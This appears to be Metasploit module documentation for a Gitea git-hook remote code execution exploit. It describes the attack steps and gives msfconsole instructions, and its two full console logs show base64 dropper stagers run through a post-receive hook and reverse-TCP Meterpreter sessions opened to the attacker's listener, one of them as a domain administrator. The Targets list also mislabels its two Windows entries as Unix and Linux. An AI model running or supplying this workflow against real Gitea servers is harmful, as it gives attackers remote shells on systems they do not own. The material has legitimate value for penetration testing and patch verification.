## Vulnerable Application ### Description This module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gitea. This is possible when the current user is allowed to create `git hooks`, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gitea web interface, creates a temporary repository, sets a `post-receive` git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. It has been mitigated in version 1.13.0 by setting the Gitea `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This disables this feature and prevents all users (including admin) from creating custom git hooks. This module has been tested successfully against Docker versions 1.12.5, 1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on version 1.12.6 on Windows. ### Setup Follow the installation steps: - With Docker: https://docs.gitea.io/en-us/install-with-docker/ - From binary: https://docs.gitea.io/en-us/install-from-binary/ - From package: https://docs.gitea.io/en-us/install-from-package/ ## Verification Steps 1. Install the application (follow [Setup](#setup)) 1. Start msfconsole 1. Do: `use multi/http/gitea_git_hooks_rce` 1. Do: `set USERNAME ` 1. Do: `set PASSWORD ` 1. Do: `set rhosts ` 1. Do: `set rport ` 1. Do: `set lhost ` 1. Do: `set target ` 1. Do: `run` 1. You should get session. ## Targets ### 0 (Unix Command) This executes a Unix command. ### 1 (Linux Dropper) This uses a Linux dropper to execute code. ### 2 (Unix Command) This executes a Windows command. ### 3 (Linux Dropper) This uses a Windows dropper to execute code. ## Options ### TARGETURI The base path of the Gitea application, which is set to `/` by default. ### USERNAME The username to authenticate with. ### PASSWORD The password to authenticate with. ## Scenarios ### Gitea 1.12.6 on Docker ``` msf6 > use multi/http/gitea_git_hooks_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser USERNAME => msfuser msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 PASSWORD => Msf!23 msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.1.75 LHOST => 192.168.1.75 msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 RPORT => 3000 msf6 exploit(multi/http/gitea_git_hooks_rce) > options Module options (exploit/multi/http/gitea_git_hooks_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD Msf!23 yes Password to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 3000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) USERNAME msfuser yes Username to authenticate with VHOST no HTTP server virtual host Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.75 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Linux Dropper msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true verbose => true msf6 exploit(multi/http/gitea_git_hooks_rce) > run [*] Started reverse TCP handler on 192.168.1.75:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. Gitea version is 1.12.6 [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp [*] Authenticate with "msfuser/Msf!23" [*] Get "csrf" value [+] csrf=T1KKDKlPGzvIj4fuomjsVJEa-MU6MTYxNzE5OTU0NzU0MTcyNzcwMA [+] Logged in [*] Create repository "Sonair_Trippledex" [*] Get "csrf" and "uid" values [+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA [+] uid=1 [+] Repository created [*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAA... [*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAO... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA [+] last_commit=4d92bd44d30756f8cecaf2682cb4dd5129856085 [*] RfWwr.txt created [+] File created, shell incoming... [*] Command Stager progress - 100.00% done (833/833 bytes) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3008420 bytes) to 192.168.1.75 [*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.75:61289) at 2021-03-31 16:05:51 +0200 [*] Cleaning up [*] Get "csrf" value [+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA [*] Repository Sonair_Trippledex deleted. meterpreter > getuid Server username: git @ 7ed1d63a11a7 (uid=1000, gid=1000, euid=1000, egid=1000) meterpreter > sysinfo Computer : 172.20.0.3 OS : (Linux 4.19.121-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` ### Gitea 1.12.6 on Windows ``` msf6 > use multi/http/gitea_git_hooks_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser USERNAME => msfuser msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 PASSWORD => Msf!23 msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.144.195 rhosts => 192.168.144.195 msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 RPORT => 3000 msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.144.1 LHOST => 192.168.144.1 msf6 exploit(multi/http/gitea_git_hooks_rce) > set target 3 target => 3 msf6 exploit(multi/http/gitea_git_hooks_rce) > options Module options (exploit/multi/http/gitea_git_hooks_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD Msf!23 yes Password to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.144.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 3000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) USERNAME msfuser yes Username to authenticate with VHOST no HTTP server virtual host Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.144.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 3 Windows Dropper msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true verbose => true msf6 exploit(multi/http/gitea_git_hooks_rce) > run [*] Started reverse TCP handler on 192.168.144.1:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. Gitea version is 1.12.6 [*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp [*] Authenticate with "msfuser/Msf!23" [*] Get "csrf" value [+] csrf=sr_-bvGEAyHL7kVegnyVKQHLeiQ6MTYxNzE5OTc4NDAwNTMzODkwMA [+] Logged in [*] Create repository "Overhold_Aerified" [*] Get "csrf" and "uid" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] uid=1 [+] Repository created [*] Generated command stager: ["echo -n TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAA... [*] Executing command: echo -n TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] last_commit=c3b19ce94e7d881e44d8c69b99db7625a61a1408 [*] QzUyEvdG.txt created [+] File created [*] Command Stager progress - 20.14% done (2046/10161 bytes) [*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] last_commit=591d40885bfab38ca97a9e7fecd3f5a4ad42dfc0 [*] BjLeoDF.txt created [+] File created [*] Command Stager progress - 40.27% done (4092/10161 bytes) [*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] last_commit=8e72d9f4188aa71bd20422a95a478aca81b21107 [*] zMjwGd.txt created [+] File created [*] Command Stager progress - 60.41% done (6138/10161 bytes) [*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] last_commit=e8e13e991fe8310590f0372740c4ad034a94d0b2 [*] Cnaoh.txt created [+] File created [*] Command Stager progress - 80.54% done (8184/10161 bytes) [*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [*] Setup post-receive hook with command [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [*] Get "csrf" and "last_commit" values [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [+] last_commit=fcfdbab5b2d62674e56c35a0867415426935a4a4 [*] PYITonlR.txt created [+] File created, shell incoming... [*] Command Stager progress - 100.00% done (10161/10161 bytes) [*] Sending stage (200262 bytes) to 192.168.144.195 [*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.195:54112) at 2021-03-31 16:10:04 +0200 [*] Cleaning up [*] Get "csrf" value [+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA [*] Repository Overhold_Aerified deleted. meterpreter > getuid Server username: ADLAB\Administrator meterpreter > sysinfo Computer : DC01 OS : Windows 2016+ (10.0 Build 14393). Architecture : x64 System Language : en_US Domain : ADLAB Logged On Users : 4 Meterpreter : x64/windows ```